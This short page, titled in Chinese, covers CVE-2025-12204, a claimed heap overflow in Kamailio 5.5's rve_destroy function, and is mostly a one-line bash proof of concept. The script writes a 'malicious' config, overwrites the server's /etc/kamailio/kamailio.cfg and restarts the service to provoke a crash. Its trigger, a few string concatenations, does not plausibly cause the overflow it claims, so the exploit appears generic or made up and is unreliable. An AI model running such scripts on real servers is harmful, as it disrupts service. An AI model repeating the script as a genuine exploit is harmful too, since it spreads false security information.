CVE-2025-12204 Kamailio 5.5 rve_destroy函数堆缓冲区溢出漏洞

#!/bin/bash # CVE-2025-12204 PoC - Kamailio 5.5 rve_destroy heap overflow # Note: This is a conceptual PoC for demonstration purposes only # Create a malicious Kamailio configuration file that triggers the overflow cat > /tmp/malicious.cfg << 'EOF' # Kamailio configuration file triggering rve_destroy overflow loadmodule "pv.so" loadmodule "xlog.so" route { # Trigger rve_destroy with malformed RVE $var(x) = "A"; $var(x) = $var(x) + $var(x) + $var(x) + $var(x); # Large RVE manipulation to trigger heap overflow $ru = "sip:target@victim:5060"; route(RELAY); } route[RELAY] { # This triggers rve_destroy processing if (!t_relay()) { sl_reply_error(); } exit; } EOF # Deploy the malicious configuration cp /tmp/malicious.cfg /etc/kamailio/kamailio.cfg systemctl restart kamailio # Monitor for crash or anomalous behavior echo "Monitoring Kamailio for crash or heap corruption..." dmesg | tail -50 | grep -i kamailio